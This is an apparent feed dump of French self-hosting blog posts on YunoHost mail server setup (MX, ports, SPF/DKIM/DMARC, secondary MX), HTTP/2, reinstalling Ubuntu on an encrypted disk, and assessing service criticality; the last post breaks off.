<p>J'ai donc <i>activé</i> http2 dans les différents fichiers de configuration Nginx de Yunohost. J'ai utilisé rapidement avec les outils de développement web de Firefox pour voir les performances, mais par manque de temps et de motivation, je n'ai pas noté et fait un ensemble de tests et de métriques de type benchmark. Les quelques consultations du site et comparaisons avant / après, avec vidage de cache, montrent une amélioration / un peu plus de rapidité dans le chargement / affichage des pages. A voir avec le temps et l'usage, mais les premiers ressentis sont que les performances sont améliorées. Légèrement. A machine égale (un PC avec un Atom 1.6 Ghz, 2 Giga de Ram, autohébergé), les pages se chargent plus vite.</p></div>
		
		


feed_id: https://blog.genma.fr/?Yunohost-comme-serveur-de-mails-Billet-No1
title: Yunohost comme serveur de mails - Billet N°1
uri: Yunohost-comme-serveur-de-mails-Billet-N-1
url: https://blog.genma.fr/?Yunohost-comme-serveur-de-mails-Billet-No1
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2766.jpg?1534860705' width='150' height='79' />
		<div class='rss_texte'><p>Dans ce billet, je parlerai d'une expérimentation en cours que j'ai qui est d'utiliser YunoHost comme serveur de mails.</p>
<p>Mon instance YunoHost est un petit serveur autohebergé : comprendre un PC physiquement branché derrière ma Freebox (qui me sert de routeur et de connexion à Internet, en ADSL).</p>
<p><strong>Introduction</strong></p>
<p>YunoHost intègre les services Dovecot pour la gestion de l'IMAP et Postfix pour la gestion de la réception / envoi des mails. Ces services sont automatiquement configurés en fonction des domaines et des utilisateurs de ces domaines créés sur YunoHost, au niveau du serveur. Par défaut, avec les noms de domaines qui sont associés à l'instance YunoHost, pour chaque utilisateur, YunoHost crée un compte mail.</p>
<p>Dans le mail, il faut distinguer la réception de mail et l'envoi.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Réception de mail : j'écris à utilisateur@mondomaine.com, il faut que les serveurs de mails qui envoient les mails sachent où trouver la boite mail de réception. Pour ce faire, ils interrogent le champ MX des entrées DNS du domaine mondomaine.fr, ce qui donnent l'adresse IP du serveur à qui adresser les mails.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Envoi de mail : j'écris un mail depuis un client (Thunderbird) ou un webmail, le logiciel se connecte au serveur d'envoi (ici le service Postfix sur l'instance YunoHost) et envoie le mail au destinataire, en se basant sur le domaine indiqué dans le mail.<br class='autobr' />
Dans les deux cas, c'est</p>
<p><strong>Mise en place</strong></p>
<p>Comme indiqué en introduction, la majorité de la configuration est déjà faite J'ai suivi les 3 pages de documentation suivantes de la documentation de YunoHost,à savoir :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://yunohost.org/#/email_fr" title="Messagerie électronique">Messagerie électronique</a> <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://yunohost.org/#/dns_config_fr" title="Configuration de la zone DNS">Configuration de la zone DNS</a> <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://yunohost.org/#/isp_box_config_fr" title="Configurer la redirection des ports">Configurer la redirection des ports</a></p>
<p><strong>Modification et validation des DNS</strong></p>
<p>J'ai modifié le champ MX de mon nom de domaine, loué chez Gandi, pour que l'adresse ne soit plus chez Gandi mais sur mon domaine.</p>
<p>Remarque : Gandi n'autorise pas l'usage de ses serveur de mail en tant que MX secondaire, il n'est pas possible d'avoir un autre serveur de secours le mail de Gandi lié au domaine.</p>
<p>Avant modification, si on fait la commande</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>dig MX mondomaine.fr</code></div>
<p>On a en résultat</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>(...)<br /> ;; ANSWER SECTION:<br /> mondomaine.fr. 10800 IN MX 10 spool.mail.gandi.net.<br /> mondomaine.fr. 10800 IN MX 50 fb.mail.gandi.net.</code></div>
<p>Ce sont les serveurs mails de Gandi qui gèrent la réception des mails envoyés depuis l'extérieur</p>
<p>Après modification du DNS et propagation (1h à 3h ou plus, tout dépend de la configuration initiale)</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>;; ANSWER SECTION:<br /> mondomaine.fr. 3600 IN MX 10 mondomaine.fr.</code></div>
<p>La machine derrière mondomaine.fr est devenue la machine de réception des mails.</p>
<p><strong>Ouverture des ports</strong></p>
<p>Dans la configuration de la Freebox, j'ai du ajouter la redirection des ports suivants vers le serveur YunoHost :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> 25 - SMTP : nécessaire pour que les serveurs Postfix parlent entre eux (cf un peu plus bas dans
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> 587 - SMTP authentifié : nécessaire pour la connexion et l'envoi de mail depuis Thunderbird par exemple, via une connexion "depuis Internet"
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> 993 - IMAP</p>
<p>Remarque : dans la configuration de ma Freebox, dans mon espace abonné Free, j'ai bien le blocage du SMTP sortant d'actif (blocage du port 25)</p>
<p>Pas de soucis car lors de l'envoi d'un mail, on peut voir que le port sortant est le port 587.</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code># nethogs<br /> <br /> 21223 postfix smtp eth0 0.000 0.000 KB/sec ? root 192.168.0.1:587-192.168.0.254:42898 </code></div>
<p>Avec 192.168.0.1 l'IP locale de mon serveur YunoHost, 587 le port utilisé en sortie sur ce serveur et 192.168.0.254 l'IP locale de la Freebox qui est le point de sortie.</p>
<p>Pour la réception des mails, envoi d'un mail depuis free.fr sur compte@mondomaine.fr</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code># nethogs<br /> 21362 postfix smtp eth0 0.000 0.000 KB/sec<br /> ? root 192.168.0.1:25-212.27.42.2:51185</code></div>
<p>Avec <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> 192.168.0.1:25 : requête sur le port 25 (postfix) du serveur de mail YunoHost
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> 212.27.42.2:51185 : la machine smtp2-g21.free.fr (le test a été fait depuis un mail free.fr)</p>
<p>On a donc bien le serveur SMTP de Free qui a parlé à mon serveur de mails.</p>
<p>Autre test de réception, envoi d'un mail depuis mon adresse framasoft.org vers mon compte@domaine.fr</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code># nethogs<br /> 21552 postfix smtp eth0 0.000 0.000 KB/sec<br /> ? root 192.168.0.1:25-138.201.XXX.XXX:37907 </code></div>
<p>Avec <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> 192.168.0.1:25 : le serveur de mail YunoHost
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> 138.201.XXX.XXX:37907 : l'IP du serveur SMTP de Framasoft</p>
<p>On a donc bien le serveur mail de Framasoft qui parle là aussi sur le port 25.</p>
<p><strong>Testé et fonctionnel</strong></p>
<p><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Envoi et réception à une adresse correct : monutilisateur@mondomaine.fr reçoit bien des mails envoyés depuis une autre adresse mail
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Envoi et réception à une adresse incorrect : si on écrit à exitepas@mondomaine.fr, l'expéditeur reçoit par mail un message d'erreur lui indiquant que l'adresse n'existe pas
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Réception en double dans une boite mail de secours : dans la partie gestion des comptes YunoHost, il est possible de définir un mail de secours. Les mails reçus sur le compte sont retransmis en copie sur ce compte de secours. Remarque : cela nécessite que le serveur soit fonctionnel vu que c'est lui qui fait le renvoi.</p>
<p><strong>Webmail</strong></p>
<p>L'application Roundcube s'installe comme n'importe quelle application et permet l'envoi, la consultation, le classement des mails, comme n'importe quel webmail.</p>
<p><strong>Configuration d'un client mail comme Thunderbird</strong></p>
<p>Depuis la version 3.1 (version stable mineure), <a href="https://forum.yunohost.org/t/yunohost-3-1-minor-stable-release-version-stable-mineure/5445" title="">YunoHost apporte Autoconfiguration des clients mails (e.g. Thunderbird) (#495 7)</a></p>
<p>Pour la configuration dans Thunderbird, il suffit donc d'indiquer son adresse mail utilisateur@mondomaine.com, son mot de passe YunoHost, et Thunderbird interroge le serveur et sait faire automatiquement sa configuration pour l'IMAP et le SMTP en utilisant les bons ports et les bons noms de serveurs. Pratique.</p>
<p><strong>Non testé, à faire et en projet</strong></p>
<p>Ce seront des sujets de billets de blog à venir je pense.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Regarder les entêtes des mails reçus (envoyés via le serveur YunoHost) pour voir les métadonnées du mail
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Configuration DKIM, DMarc, SPF... : n'autoriser / ne certifier les mails envoyés via une adresse mondomaine.fr que les mails étant envoyés depuis le serveur YunoHost. <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Envoi d'un mail sur des mails de GAFAM (Gmail, Hotmail - Microsoft, Yahoo) : <i>normalement</i> les mails sont reconnus à défaut comme SPAM.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Avoir un serveur mail de secours : si mon serveur ne marche plus pendant plusieurs jours, il faut qu'un serveur de mail autre soit un serveur temporaire qui puisse accueillir les mails.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Vérifier la bonne configuration du serveur postfix : valider qu'il ne peut pas être utilisé comme relais smtp
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Surveillance et supervision des logs</p></div>
		
		


feed_id: https://blog.genma.fr/?Yunohost-comme-serveur-de-mails-Billet-No2
title: Yunohost comme serveur de mails - Billet N°2
uri: Yunohost-comme-serveur-de-mails-Billet-N-2
url: https://blog.genma.fr/?Yunohost-comme-serveur-de-mails-Billet-No2
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2774.jpg?1535104689' width='150' height='79' />
		<div class='rss_texte'><p>Ce billet fait suite au billet <a href="https://blog.genma.fr/?Yunohost-comme-serveur-de-mails-Billet-No1" title="Yunohost comme serveur de mails - Billet N°1">Yunohost comme serveur de mails - Billet N°1</a> Dans la todo, il y avait l'envoi à un mail de GAFAM et l'ajout de DKIM, DMarc, SPF...</p>
<p><strong>DKIM, DMarc, SPF</strong></p>
<p>Pour ça, je citerai le billet <a href="http://www.badsender.com/2014/01/13/delivrabilite-spf-dkim-dmarc/" title="Délivrabilité : SPF, DKIM, DMARC, … ce qu'il faut savoir sur l'authentification de vos emails !">Délivrabilité : SPF, DKIM, DMARC, … ce qu'il faut savoir sur l'authentification de vos emails !</a></p>
<p><strong>DKIM = DomainKeys Identified Mail</strong> <i> DKIM tente d'associer un nom de domaine à un message en y aposant une signature numérique. La vérification de la signature se fait via une clef cryptée située dans un enregistrement DNS. Ce faisant, DKIM permet de vérifier si un message a été altéré durant son transport entre les différents serveurs SMTP et de garantir que le contenu arrivera intact jusqu'au destinataire.</i></p>
<p><strong>SPF = Sender Policy Framework</strong><i>Enregistrement SPF sur son serveur DNS. Permet de vérifier / valider que les IP associées des serveurs ont le droit d'envoyer des mails pour ce nom de domaine</i></p>
<p><strong>DMARC = Domain-based Message Authentication, Reporting and Conformance</strong><i>DMARC joue sur la synthèse entre SPF et DKIM, pas en les remplaçant, mais en les unissant et en les rendant plus intelligents.</i></p>
<p><strong>Dans Yunohost</strong></p>
<p>Yunohost dispose donc d'un serveur de mail (cf <a href="https://blog.mondomaine.tld/?Yunohost-comme-serveur-de-mails-Billet-No1" title="Yunohost comme serveur de mails - Billet N°1">Yunohost comme serveur de mails - Billet N°1</a>) et DKIM et SPF sont déjà préconfigurés, disponibles, il n'y a quasiment rien à faire. Il faut récupérer les informations de configuration. Pour ce faire, il faut :</p>
<p><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> aller dans la partie interface d'administration de Yunohost <a href="https://mondomaine.tld/yunohost/admin/" class='spip_url spip_out auto' rel='nofollow external'>https://mondomaine.tld/yunohost/admin/</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Dans le menu DOMAIN > mondomaine.tld > Voir la Configuration DNS</p>
<p>Là il y a les informations pour le DKIM, DMarc, SPF</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>@ 3600 IN TXT "v=spf1 a mx ip4:12.345.678.123 -all"<br /> mail._domainkey 3600 IN TXT "v=DKIM1; k=rsa; p= 50917a15d4930834a9dd3b43a43ee131190e12674eab791a354dea0afb4475b1"<br /> _dmarc 3600 IN TXT "v=DMARC1; p=none"</code></div>
<p>Ces informations sont à saisir dans la configuration de l'entrée DNS chez son prestataire (Gandi par exemple) sous la forme :</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>Nom du champ, Type du champ, Valeur<br /> @ TXT "v=spf1 a mx i … .159.188 -all"<br /> mail._domainkey TXT "v=DKIM1; k=rsa; p= 50917a15d4930834"<br /> _dmarc TXT "v=DMARC1; p=none"</code></div>
<p>Et on attend de nouveau la propagation du DNS.</p>
<p><strong>Pour vérifier tout ça</strong></p>
<p>Différentes façons de faire et de valider que la configuration est correcte.</p>
<p><strong>Test en ligne</strong></p>
<p>On va sur le site</p>
<a href="https://www.mail-tester.com/spf-dkim-check<div style='text-align: left;' class='spip_code' dir='ltr'><code>Champ - valeur : <br /> Domain name : mondomaine.tld<br /> DKIM Selector : mail._domainkey</code></div>
<p>Et on a comme résultat :</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>SPF check<br /> <br /> 1 SPF record found for the domain mondomaine.tld :<br /> "v=spf1 a mx ip4:12.345.678.123 -all"<br /> <br /> DKIM check<br /> <br /> DNS record for mail._domainkey.mondomaine.tld:<br /> "v=DKIM1; k=rsa; p=50917a15d4930834a9dd3b43a43ee131190e12674eab791a354dea0afb4475b1"<br /> Key length : 1024</code></div>
<p>On a donc bien la bonne configuration</p>
<p><strong>Thunderbird</strong> : on peut ajouter une extension comme <a href="https://addons.thunderbird.net/fr/thunderbird/addon/dkim-verifier/?src=hp-dl-upandcoming" title="Module DKIM verifier pour Thunderbird">DKIM verifier</p>
</a>
<p> qui permet d'ajouter un champ dans l'entête d'un mail reçu et de vérifier le DKIM.</p>
<p><strong>Envoi du mail sur un compte Gmail</strong></p>
<p>Et on regarde alors dans le détail du mail (option <i>Afficher l'original</i>), on a alors</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>SPF : NEUTRAL avec IP 12.345.678.123 En savoir plus<br /> DKIM : 'PASS' avec le domaine mondomaine.tld En savoir plus<br /> DMARC : 'PASS' En savoir plus</code></div>
<p>Et quand on clique sur bouton le copier-coller, on a le détail :</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>Received-SPF: neutral (google.com: 12.345.678.123 is neither permitted nor denied by best guess record for domain of genma@mondomaine.tld) client-ip=12.345.678.123;<br /> Authentication-Results: mx.google.com;<br /> dkim=pass header.i=@mondomaine.tld header.s=mail header.b=mbt7mELs;<br /> spf=neutral (google.com: 12.345.678.123 is neither permitted nor denied by best guess record for domain of genma@mondomaine.tld) smtp.mailfrom=genma@mondomaine.tld;<br /> dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=mondomaine.tld<br /> DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mondomaine.tld; s=mail; t=1535027249; h=from:from:sender:reply-to:subject:subject:date:date:</code></div>
<p>Soit une autre façon de valider que la configuration est correcte. <br class='autobr' />
<strong>Les mails reçus ne doivent normalement pas être reconnus / tombés dans le SPAM par défaut</strong>.</p></div>
		
		


feed_id: https://blog.genma.fr/?Yunohost-comme-serveur-de-mails-Billet-No3
title: Yunohost comme serveur de mails - Billet N°3
uri: Yunohost-comme-serveur-de-mails-Billet-N-3
url: https://blog.genma.fr/?Yunohost-comme-serveur-de-mails-Billet-No3
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2779.jpg?1536750666' width='150' height='79' />
		<div class='rss_texte'><p>Ce billet fait suite au billet <a href="https://blog.mondomaine.tld/?Yunohost-comme-serveur-de-mails-Billet-No1" title="Yunohost comme serveur de mails - Billet N°1">Yunohost comme serveur de mails - Billet N°1</a> et <a href="https://blog.genma.fr/?Yunohost-comme-serveur-de-mails-Billet-No2" title="Yunohost comme serveur de mails - Billet N°2">Yunohost comme serveur de mails - Billet N°2</a></p>
<p><strong>Le serveur MX secondaire</strong></p>
<p>J'ai eu de nombreux retours via des messages sur les réseaux sociaux et je voudrais en faire une petite synthèse. J'aborde dans l'un des mes billets le cas (non encore réglé) d'avoir un serveur MX secondaire. Comprendre : si le serveur de Mail principal (définit via le champ MX de l'entrée DNS associée au nom de domaine) ne marche pas, alors le serveur de mail envoyant le mail tente l'envoi du mail sur le second serveur indiqué en champ MX, qui s'occupe alors de faire la réception (et éventuellement une redirection) du mail. Cette seconde doit être associé à un chiffre (le poids) plus faible pour indiquer que c'est un serveur <i>de secours</i>. ("Quand le serveur principal ets HS ça part sur le secondaire qui est réglé pour renvoyer sur le principal et il garde le mail en mailqueue (cas d'un serveur postfix) tant qu'il n'y arrive pas.") Une recommandation me dit que c'est inutile "Les mails restent en attente pendant quelques temps (par défaut 5 jours ; 4 à 5 jours recommandés sur <a href="https://tools.ietf.org/html/rfc5321#section-4.5.4" class='spip_url spip_out auto' rel='nofollow external'>https://tools.ietf.org/html/rfc5321#section-4.5.4</a>" à celle d'au contraire "d'avoir un MX de secours sur un serveur de mails dans un datacenter différent". De même, on me dit que "l'hébergement d'un service de mails est un métier à part entière", sur ce point je suis assez bien placé pour le savoir de part l'une des mes nombreuses responsabilités professionnelles actuelles.</p>
<p>Je n'ai pas encore traité ce sujet, mais mon ressenti et mon avis est le suivant : si la panne se prolonge, que l'on a pas accès à la machine pendant un certain temps (cas des vacances) ou que l'on est la seule personne à savoir remettre le service en ligne, le mail finira par se perdre. Donc ce n'est pas un sujet anodin à prendre à la légère et il faut probablement avoir un MX secondaire. On peut "le prendre" chez une personne de confiance (un ami par exemple de qui on sera soi-même le MX secondaire ; <a href="https://wiki.fdn.fr/support:faq:mx_secondaire" title="Comment utiliser les serveurs FDN en MX secondaire ?">FDN propose par exemple d'utiliser les serveurs FDN en MX secondaire</a>, ou <a href="https://www.rezine.org/documentation/mx-secondaire/" title="Rézine propose un serveur de mail secondaire (« MX secondaire ») à ses membres.">Rézine propose un serveur de mail secondaire (« MX secondaire ») à ses membres.</a>), ce qui permet de s'afranchir de la maintenance de ce second serveur (sinon cela alourdit la charge en administration système que d'avoir un second serveur à maintenir à jour, et en coût).</p>
<p>Stéphane Bortzemeyer a écrit il y a un peu plus de 10 ans un billet de blog <a href="http://www.bortzmeyer.org/mx-secondaire.html" title="Un MX secondaire est-il vraiment utile ?">Un MX secondaire est-il vraiment utile ?</a>, je vous laisse découvrir son avis fort bien argumenté (Spoiler : non). Autre avis à lire <a href="https://quentin.demouliere.eu/index.php?article40/de-l-interet-d-un-mx-de-secours-dans-le-cadre-de-mon-service-mail-personnel" title="De l'intérêt d'un MX de secours dans le cadre de la gestion de mon service mail personnel ">De l'intérêt d'un MX de secours dans le cadre de la gestion de mon service mail personnel </a> par Quentin Demouliere.</p>
<p>Pour la configuration technique d'un serveur MX secondaire, voir <a href="https://wiki.auto-hebergement.fr/coop%C3%A9ration/serveur_de_courrier_secondaire" title="wiki.auto-hebergement - Serveur de courrier secondaire">wiki.auto-hebergement - Serveur de courrier secondaire</a>.</p>
<p>La question n'est donc pas trancher, est à chacun de se faire son propre avis du coup, les arguments en faveur du pour et du contre ne me permettant à l'heure actuelle de pencher en faveur d'un seul ou de deux serveurs MX pour le mail.</p></div>
		
		


feed_id: https://blog.genma.fr/?Comment-reinstaller-Ubuntu-sur-un-disque-entierement-chiffre
title: Comment réinstaller Ubuntu sur un disque entièrement chiffré (avec un /home séparé)
uri: Comment-réinstaller-Ubuntu-sur-un-disque-entièrement-chiffré-(avec
url: https://blog.genma.fr/?Comment-reinstaller-Ubuntu-sur-un-disque-entierement-chiffre
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2777.jpg?1535809541' width='150' height='79' />
		<div class='rss_texte'><p>A l'installation d'un PC, nous avons fait une Installation d'un disque entièrement chiffré (à l'exception de la parition uefi et /boot). Il y a donc un espace LUKS chiffré qui occupe la majorité du disque et dessus, différentes partitions reposant sur LVM ont été faîtes afin d'avoir une partition / (racine) et une partition /home séparée.</p>
<p>Que ce passe-t-il si on souhaite / doit réinstaller le système d'exploitation ?</p>
<p>Le but de cette procédure est donc de pouvoir réinstaller une partition racine au sein d'un disque dur chiffré tout en conservant la partition home.</p>
<p>Les étapes préalables à la réinstallation sont de booter le PC sur une clef contenant Ubuntu dans la version d'Ubuntu appropriée (un live-usb) et de choisir le mode "Try Ubuntu". Une fois le système démarré, on doit faire une ouverture de la parition chiffrée. Pour ce faire</p>
<p>Ouvrir un terminal et passer en root via la commande suivante :</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>$ sudo -i</code></div>
<p>Ouvrir la parition chiffrée via la commande suivante :</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code># cryptsetup luksOpen /dev/[nom partition chiffrée] hdcrypt<br /> et taper la passphrase / phrase de passe.</code></div>
<p>Et ensuite, on peut alors passer au lancement de la réinstallation en cliquant sur l'icone "Install Ubuntu" et on suit le processus de "résintallation" classique, en prenant soin de définir un partitionnement manuel
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> bien sélectionner les partitions et de bien les réaffecter aux bons points de montage (/, swap, /home et autres si besoin)
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <strong>NE PAS FORMATER LA PARTITION /dev/mapper/vgcrypt-lvhome</strong></p></div>
		
		


uri: Devenir-SysAdmin-d-une-PME-Les-sauvegardes-Billet-n-5-Comment-co
feed_id:
https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Les-sauvegardes-Billet-no5-Comment-connaitre-la-criticite-d-un-service

title:
Devenir SysAdmin d'une PME - Les sauvegardes- Billet n°5 - Comment connaître la criticité d'un service ?

url:
https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Les-sauvegardes-Billet-no5-Comment-connaitre-la-criticite-d-un-service

content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2769.jpg?1534863749' width='150' height='79' />
		<div class='rss_texte'><p>Ce billet fait partie de la série :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-retour-d-experience" title="Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0">Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1" title="Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1">Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2" title="Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2">Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Accepter-de-ne-pas-avoir-le-controle-sur-tout-Billet-no3" title="Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3">Devenir SysAdmin d'une PME - Accepter de ne pas avoir le contrôle sur tout- Billet n°3</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Les-sauvegardes-Billet-no4" title="Devenir SysAdmin d'une PME - Les sauvegardes- Billet n°4">Devenir SysAdmin d'une PME - Les sauvegardes- Billet n°4</a></p>
<p><strong>Comment connaître la criticité d'un service ?</strong></p>
<p>Pour répondre à cette question, la technique que je conseille est de couper - virtuellement - le service ou la machine (en vue d'esprit donc) et de juger, d'estimer l'impact que cela a. Il y a une autre façon de faire, plus brutal, est celle de débrancher le câble réseau si on a un accès physique à la machine.</p>
<p><strong>L'objectif est d'éviter que l'on apprenne l'importance d'un service et les conséquences / impacts de son interruption au moment de la perte de celui-ci.</strong></p>
<p><strong>Relativité de la criticité</strong></p>
<p>Nombre d'utilisateurs impactés, temps de remise en oeuvre, délai de coupure acceptable.... Cela reste très subjectif car le fait que le service d'impression ne marche pas pendant une matinée voir une journée ne me gênera pas et sera bloquant pour quelqu'un qui imprime toutes les fiches de paie en fin de mois... La criticité est aussi relative à la période du mois ou de l'année.</p>
<p>Quand on ne sait pas, une solution un peu extrême peut être alors de débrancher le câble réseau et de voir en ce qui ne marche plus (la supervision est pratique pour ça, encore faut il que la machine qui rende un service inconnu et qui tourne dans un coin soit supervisée...) en envisageant toutefois le "comment on remet en marche", avant.</p>
<p><strong>Les services critiques évidents</strong></p>
<p>Toutefois comme pour les O.I.V. (Organismes d'Importance Vital) il y a des choses vitales dans l entreprise. Sans connexion Internet, plus de possibilité d accéder aux serveurs dans le Cloud... Si la connexion fibre ne marche plus, il faut donc une ligne secondaire ADSL ou SDSL ou envisager une connexion en 4G, dans tous les cas ce sera une connexion secondaire qui doit rester temporaire, avoir été testé pour voir la viabilité... Comme tout plan B.</p>
<p><strong>Si ça marche, on ne touche pas</strong></p>
<p>Autre règle importante : une machine qui tourne surtout si elle est vieille on ne l'éteint pas. J ai eu l'expérience dans une autre vie d'un vieux serveur qui tournait depuis des années. Coupure de courant sur plusieurs jours suite à un coup de pelleteuse, groupe électrogène sous dimensionné et on éteint donc les serveurs les moins critiques pour alléger le groupe. Au retour à la normale, le serveur ne démarre pas. Soucis de pile du Bios HS, puis un ventilateur usé avec les années qui ne tourne plus... Le début des ennuis. Mais c'est une autre histoire.</p></div>
		
		


feed_id: https://blog.genma.fr/?Yunohost-comme-serveur-de-mails-Billet-No4
title: Yunohost comme serveur de mails - Billet N°4
uri: Yunohost-comme-serveur-de-mails-Billet-N-4
url: https://blog.genma.fr/?Yunohost-comme-serveur-de-mails-Billet-No4
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2780.jpg?1537715654' width='150' height='79' />
		<div class='rss_texte'><p>Ce billet fait partie de la série Yunohost comme serveur de mails <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.mondomaine.tld/?Yunohost-comme-serveur-de-mails-Billet-No1" title="Yunohost comme serveur de mails - Billet N°1">Yunohost comme serveur de mails - Billet N°1</a> <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Yunohost-comme-serveur-de-mails-Billet-No2" title="Yunohost comme serveur de mails - Billet N°2">Yunohost comme serveur de mails - Billet N°2</a>
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Yunohost-comme-serveur-de-mails-Billet-No2" title="Yunohost comme serveur de mails - Billet N°3">Yunohost comme serveur de mails - Billet N°2</a></p>
<p><strong>Les logs</strong></p>
<p>Remarque : le présent billet ne parlera pas de l'analyse du contenu des logs en lui-même (gestion d'erreurs etc.) mais a pour objectif de faire (re)découvrir un outil précis.</p>
<p>Le serveur de mails d'envoi et de réception des mails est Posftix et les logs de ce serveur se trouvent dans le fichier /var/log/mail.log.</p>
